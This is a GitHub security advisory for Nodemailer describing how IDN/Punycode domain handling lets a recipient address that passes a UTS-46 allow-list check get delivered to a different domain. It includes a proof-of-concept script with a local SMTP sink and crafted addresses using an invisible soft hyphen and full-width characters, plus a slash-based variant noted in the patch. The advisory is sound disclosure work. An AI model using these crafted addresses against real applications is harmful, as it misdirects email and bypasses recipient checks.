GHSA-wmmp-3585-3rmp
Dashboard / Vulnerabilities / GHSA-wmmp-3585-3rmp
GHSA-wmmp-3585-3rmp
Summary: Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain
Details: ### Summary Nodemailer resolves an international (IDN / non-ASCII) recipient **domain** to a different Punycode `xn--` label than every UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's `url.domainToASCII`, Python's `idna`). Its address normalizer (`_normalizeAddress` in `lib/mime-node/index.js`) uses the bundled **raw RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization**, so a domain that a standards‑compliant validator maps to a trusted domain is delivered by Nodemailer to a **different, attacker‑registrable domain**. An application that applies a domain allow‑list / same‑domain check to a recipient using a normal IDN‑aware parser (or that shows the normalized recipient to a user for confirmation) and then relies on Nodemailer to deliver to that domain can be induced to send email to an **unintended external domain**. This is the same weakness class as CVE‑2025‑13033 (Interpretation Conflict, CWE‑436) but reached through IDN/Punycode rather than quoted local‑parts, and it is not addressed by the 7.0.7 fix. Because the mismatch can be triggered with an **invisible** character (U+00AD SOFT HYPHEN) that UTS‑46 folds away to the *exact* trusted domain string, no visible look‑alike/homograph is required. ### Details `lib/mime-node/index.js` → `_normalizeAddress(address)` (around lines 1307–1346) splits the address at the last `@` and normalizes the domain like this: ```js // lib/mime-node/index.js try { if (/[\x80-]/.test(user)) { encodedDomain = punycode.toUnicode(domain.toLowerCase()); // line ~1338 } else { encodedDomain = punycode.toASCII(domain.toLowerCase()); // line ~1340 } } catch (_err) { // keep domain as supplied } return `${this._normalizeLocalPart(user)}@${encodedDomain}`; // line ~1346 ``` `punycode` here is the project’s bundled codec (`lib/punycode/`), which is a **pure RFC 3492 (Punycode) implementation**. The only normalization applied to the domain is `.toLowerCase()`. It performs **none of the UTS‑46 “IDNA2008 + compatibility processing” steps** that browsers and DNS‑facing resolvers apply before Punycode encoding, specifically: * removing **Ignored** code points such as `U+00AD` SOFT HYPHEN, * **Mapping** full‑width / compatibility characters to their canonical ASCII forms, * Unicode **NFC** normalization, * validity checks. As a result, for any domain containing a UTS‑46‑mapped or ‑ignored character, Nodemailer’s `punycode.toASCII(...)` produces a **different A‑label** than `url.domainToASCII(...)` (Node ≥ 7 / WHATWG), `new URL('http://'+domain)`, browsers, and Python’s `idna` (`uts46=True`). Nodemailer then uses its A‑label as: * the SMTP envelope recipient written to the wire as `RCPT TO:<local@xn--…>` (`getEnvelope()` → `lib/smtp-connection/index.js` `_setEnvelope`), **and** * the address emitted in the `To:` / `From:` headers (`_convertAddresses`). So the domain a standards‑compliant validator computes and the domain Nodemailer actually delivers to **disagree**, on a syntactically valid, validator‑accepted address. Concrete divergences (verified on 9.0.6): | recipient (raw) | UTS‑46 parser (`url.domainToASCII`) | Nodemailer delivers to | |---|---|---| | `victim@compa{U+00AD}ny.com` (invisible soft hyphen) | `company.com` | `xn--company-pka.com` | | `victim@company.com` (full‑width) | `company.com` | `xn--mi7cd4afch9d.com` | | `user@exámple.com` (NFD `a`+U+0301) | `xn--exmple-qta.com` | `xn--example-vge.com` | This is the “Punycode / IDN parser discrepancy” technique documented in PortSwigger’s *Splitting the email atom* research (which produced e.g. Joomla CVE‑2024‑21725 and fixes in the PHP `idna_convert` library). The fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the *quoted‑local‑part* path only; this IDN path is independent and still present in **9.0.6 (latest)** and, given the long‑standing use of the bundled RFC‑3492 codec, earlier releases. **Suggested remediation:** perform UTS‑46 processing before/at domain encoding so Nodemailer’s resolution matches browsers, validators, and DNS — e.g. use the runtime’s `url.domainToASCII()` (available since Node 7) instead of the raw `punycode.toASCII`, and decode with the matching UTS‑46 `domainToUnicode`. At minimum, reject a domain whose value changes under UTS‑46 mapping (i.e. `punycode.toASCII(d)` ≠ `url.domainToASCII(d)`). ### PoC Environment: Node.js ≥ 18, the published `[email protected]`. No special configuration; the discrepancy is in domain normalization itself. `poc-idn.js`: ```js 'use strict'; const net = require('net'); const url = require('url'); const nodemailer = require('nodemailer'); // 9.0.6 const TRUSTED = 'company.com'; // the only domain the app will mail const RECIPIENT = 'victim@compa\u00ADny.com'; // attacker input: invisible U+00AD inside "company" // The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way: const seen = url.domainToASCII(RECIPIENT.split('@').pop()); console.log('validator (url.domainToASCII) sees:', JSON.stringify(seen), seen === TRUSTED ? '=> ALLOWED (equals trusted domain)' : ''); // A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits: const server = net.createServer(sock => { let buf = ''; sock.write('220 sink\r\n'); sock.on('data', d => { buf += d; let i; while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2); const u = line.toUpperCase(); if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n'); else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); } else if (u.startsWith('DATA')) sock.write('354 go\r\n'); else if (line === '.') sock.write('250 ok\r\n'); else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); } else sock.write('250 ok\r\n'); } }); }); server.listen(0, '127.0.0.1', async () => { const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false }); await t.sendMail({ from: '[email protected]', to: RECIPIENT, subject: 'reset your password', text: 'secret link' }); t.close(); server.close(); }); ``` Run: ``` npm init -y && npm install [email protected] node poc-idn.js ``` Actual output (Nodemailer 9.0.6): ``` validator (url.domainToASCII) sees: "company.com" => ALLOWED (equals trusted domain) nodemailer transmits : RCPT TO:<[email protected]> ``` The application’s domain check approves `company.com`, but the message is sent to `xn--company-pka.com` — a **different domain an attacker can register** — carrying the `To:` header `<[email protected]>` as well. A containerized version that proves the same result against a **real RFC 5321 SMTP server** (`aiosmtpd`) is included alongside this report (`docker compose up --build`, cases `R6`/IDN); the receiving server accepts `RCPT TO:<[email protected]>` and reports the recipient domain as `xn--company-pka.com`. ### Impact Any application that uses Nodemailer to send mail to a recipient whose domain is subjected to a security or trust decision made with a *different* (UTS‑46‑conformant) parser, and then trusts Nodemailer to deliver to that domain. This includes: * recipient **allow‑list / block‑list / “same corporate domain” checks** implemented with `new URL()`, `url.domainToASCII`, a browser‑side check, or an IDN library; * flows that **display or log the normalized recipient domain** for human confirmation (the shown `company.com` differs from the delivered `xn--company-pka.com`); * any domain‑gated feature (employee‑only registration, “send only to our tenant”, notification routing). ## Patched in 9.1.0 Domain encoding now applies UTS-46 ([259c32d](https://github.com/nodemailer/nodemailer/commit/259c32d)), so `victim@company.com` resolves to `company.com`, matching `url.domainToASCII` and browsers. One caveat on the suggested remediation, hardened in [b212ac4](https://github.com/nodemailer/nodemailer/commit/b212ac4): `url.domainToASCII` is a WHATWG **host parser**, not a pure UTS-46 mapper. It terminates the host at `/`, `\\`, `?` and `#` and percent-decodes. Used unguarded it introduces a worse version of the same weakness, since `[email protected]/mail.corp.example` encodes to the deliverable `[email protected]` where the bundled Punycode codec left it intact and unroutable. Those characters are now kept away from the mapper. On severity, "attacker-registrable" is doing significant work in the report: `xn--company-pka.com` decodes to a label containing U+00AD and `xn--mi7cd4afch9d.com` to full-width Latin, neither of which Verisign's IDN tables permit for a .com registration. The misdelivery and the confirmation-UI mismatch stand regardless, which is why this is rated level with the comment issue rather than above it.
References: https://github.com/nodemailer/nodemailer/security/advisories/GHSA-wmmp-3585-3rmp, https://github.com/nodemailer/nodemailer/pull/1848, https://github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148, https://github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e, https://github.com/nodemailer/nodemailer, https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0
Affected packages
Package
Name: nodemailer
Purl: pkg:npm/nodemailer
Affected ranges
Type: SEMVER
Events:
